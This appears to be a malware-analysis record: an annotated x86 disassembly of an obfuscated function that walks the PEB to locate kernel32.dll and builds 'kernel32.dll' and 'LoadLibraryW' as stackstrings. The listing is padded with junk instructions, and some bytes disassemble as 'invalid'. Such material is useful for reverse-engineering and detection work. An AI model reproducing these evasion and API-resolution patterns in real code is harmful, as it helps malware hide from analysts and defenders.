Function at 0x4091f6
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
call 0x408f6a
add byte [esp + esi], bh
dec esi
cmp byte [ebp + 0x4b], cl
inc eax
dec esp
add esp, 4
pop edx
push edx
push edi
add esp, 4
xor edx, 0x1fe2
and edx, 0xf986
pop edx
cmp dword [ebp - 0xcc4], 0
jne 0x408f98
mov dword [ebp - 0x2fc], 0
jmp 0x4091e3
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x514], ecx
push esi
push ebx
add esp, 4
jmp 0x408fb0
jmp 0x408fb7
pop esi
push ecx
call 0x408fc6
add byte [0x4c324250], dh
cmp dh, byte [0x8104c483]
sar ebp, 0x70
add byte [eax], al
add ecx, 0xd886
pop ecx
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x514]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push esi
push edi
add esp, 4
add esi, 0x15119
jmp 0x409011
add esi, 0x323f
pop esi
push eax
sub eax, 0x32f1
add eax, 0x143fe
pop eax
push esi
push esi
add esp, 4
or esi, 0xe273
pop esi
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x38], dx
push esi
push eax
add esp, 4
call 0x40909b
add byte [edx], dh
push eax
dec edi
aaa
inc ebp
inc edi
cmp eax, 0x5e04c483
push ecx
push edi
add esp, 4
xor ecx, 0x15c77
xor ecx, 0x52cc
pop ecx
push esi
jmp 0x4090ba
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x4090d8
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x161c], ecx
jmp 0x409132
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x409000
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x409000
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x40911c
mov dword [ebp - 0x1618], 0xffffffff
jmp 0x409126
mov dword [ebp - 0x1618], 1
mov eax, dword [ebp - 0x1618]
mov dword [ebp - 0x161c], eax
cmp dword [ebp - 0x161c], 0
jne 0x40917b
push ecx
and ecx, 0xdbf
xor ecx, 0x6b4b
add ecx, 0x93a8
and ecx, 0xe55b
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0xea40
add ecx, 0x12eea
add ecx, 0xf8ad
pop ecx
mov ecx, dword [ebp - 0x514]
mov dword [ebp - 0x2fc], ecx
jmp 0x4091e3
push ebx
xor ebx, 0x5529
pop ebx
push eax
push esi
add esp, 4
jmp 0x40918f
call 0x40919d
add byte [eax], bh
inc ecx
inc eax
inc eax
inc eax
xor eax, 0x4c4833a
add eax, 0x83e3
sub eax, 0x53ea
pop eax
mov edx, dword [ebp - 0x514]
mov eax, dword [edx]
mov dword [ebp - 0x514], eax
mov ecx, dword [ebp - 0x514]
cmp ecx, dword [ebp - 0xcc4]
je 0x4091d9
mov edx, dword [ebp - 0x514]
cmp dword [edx + 0x30], 0
jne 0x408fa4
mov dword [ebp - 0x2fc], 0
push ebx
push edx
add esp, 4
call 0x4091f6
add byte [eax + 0x49], al
inc esp
dec edi
dec esp
inc esi
push eax
dec edi
add esp, 4
and ebx, 0x5861
pop ebx
push ecx
push edx
add esp, 4
jmp 0x40920e
sub ecx, 0x58e4
pop ecx
cmp dword [ebp - 0x2fc], 0
jne 0x409b1a
mov eax, 0x6b
mov word [ebp - 0x1790], ax
mov ecx, 0x65
mov word [ebp - 0x178e], cx
mov edx, 0x72
mov word [ebp - 0x178c], dx
mov eax, 0x6e
mov word [ebp - 0x178a], ax
mov ecx, 0x65
mov word [ebp - 0x1788], cx
mov edx, 0x6c
mov word [ebp - 0x1786], dx
mov eax, 0x33
mov word [ebp - 0x1784], ax
mov ecx, 0x32
mov word [ebp - 0x1782], cx
mov edx, 0x2e
mov word [ebp - 0x1780], dx
mov eax, 0x64
mov word [ebp - 0x177e], ax
mov ecx, 0x6c
mov word [ebp - 0x177c], cx
mov edx, 0x6c
mov word [ebp - 0x177a], dx
xor eax, eax
mov word [ebp - 0x1778], ax
push esi
push ebx
add esp, 4
or esi, 0x71c1
or esi, 0xd288
pop esi
push ecx
sub ecx, 0x13597
or ecx, 0x96f1
pop ecx
push ebx
push edx
add esp, 4
jmp 0x4092e6
add ebx, 0x655a
pop ebx
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x6f
mov byte [ebp - 0x8a2], 0x61
mov byte [ebp - 0x8a1], 0x64
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x69
mov byte [ebp - 0x89e], 0x62
mov byte [ebp - 0x89d], 0x72
mov byte [ebp - 0x89c], 0x61
mov byte [ebp - 0x89b], 0x72
mov byte [ebp - 0x89a], 0x79
mov byte [ebp - 0x899], 0x57
mov byte [ebp - 0x898], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x199c], ecx
mov edx, dword [ebp - 0x199c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov dword [ebp - 0x1620], ecx
push edi
push edi
add esp, 4
or edi, 0x13fad
or edi, 0x2c9a
xor edi, 0x16c06
pop edi
push edi
add edi, 0x16d98
or edi, 0x17867
pop edi
push eax
push eax
add esp, 4
and eax, 0xafde
pop eax
cmp dword [ebp - 0x1620], 0
jne 0x4093ba
mov dword [ebp - 0x774], 0
jmp 0x409661
mov edx, dword [ebp - 0x1620]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd0], ecx
push edi
push ecx
add esp, 4
xor edi, 0x8ec4
jmp 0x4093df
pop edi
push ecx
push ecx
add esp, 4
add ecx, 0x7c30
pop ecx
push esi
push eax
add esp, 4
xor esi, 0x1212c
xor esi, 0x14ae2
pop esi
cmp dword [ebp - 0xcd0], 0
jne 0x409416
mov dword [ebp - 0x774], 0
jmp 0x409661
mov edx, dword [ebp - 0xcd0]
mov dword [ebp - 0x518], edx
push ecx
push edx
add esp, 4
or ecx, 0x97d
and ecx, 0x58f8
call 0x40943f
add byte [ebp + 0x3f], cl
dec ecx
cmp dh, byte [edx]
cmp dword [ebx + 0x9e804c4], eax
add byte [eax], al
add byte [eax], al
cmp ecx, dword [eax + 0x3a]
inc ebp
xor eax, 0x83464f47
les eax, [ecx + ebx*2]
lea eax, [ebp - 0x1790]
mov dword [ebp - 0xccc], eax
mov ecx, dword [ebp - 0x518]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcc8], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edi
sub edi, 0xe346
pop edi
push ecx
push edi
add esp, 4
sub ecx, 0x1824a
and ecx, 0x450f
jmp 0x40949d
xor ecx, 0x11ce4
pop ecx
push eax
push edx
add esp, 4
xor eax, 0xb8b7
pop eax
mov edx, dword [ebp - 0xcc8]
mov ax, word [edx]
mov word [ebp - 0x1042], ax
mov ecx, dword [ebp - 0xcc8]
add ecx, 2
mov dword [ebp - 0xcc8], ecx
mov dx, word [ebp - 0x1042]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xccc]
mov cx, word [eax]
mov word [ebp - 0x1044], cx
mov edx, dword [ebp - 0xccc]
add edx, 2
mov dword [ebp - 0xccc], edx
mov ax, word [ebp - 0x1044]
mov word [ebp - 0x3c], ax
push ecx
sub ecx, 0x1799c
pop ecx
push edi
and edi, 0xbdd3
jmp 0x40951e
pop edi
push edi
push esi
add esp, 4
sub edi, 0xd787
xor edi, 0x17b32
jmp 0x409538
pop edi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x409556
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1668], edx
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x40947e
invalid
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
invalid